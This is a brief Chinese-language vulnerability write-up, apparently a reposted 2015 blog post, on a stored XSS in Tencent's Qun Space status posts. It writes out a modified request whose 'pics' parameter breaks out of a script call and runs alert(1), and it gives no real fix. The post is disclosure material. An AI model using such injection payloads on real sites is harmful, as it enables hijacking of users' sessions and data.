腾讯群空间存储型XSS

没有二哥的js+swf分析那么牛,我只能来个简单的。

腾讯群空间可以像微博差不多的发表动态功能,

然后很简单,上传张图片,然后改包。。

qzreferrer=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup%23%21%2F249904753%2Fhome&uin=xxxxx&groupid=xxxx&type=2&content=hi&pics=http://www.hao123.com/logo.gif',550,375,{img:this});alert(1);//&url=&videoUrl=

提交,成功!

腾讯群空间存储型XSS

腾讯群空间存储型XSS

腾讯群空间存储型XSS

修复方案:

应该懂

分类:默认分类 时间:2015-03-14 人气:6
本文关键词:
分享到:

相关文章

Copyright (C) quwantang.com, All Rights Reserved.

趣玩堂 版权所有 京ICP备15002868号

processed in 0.085 (s). 10 q(s)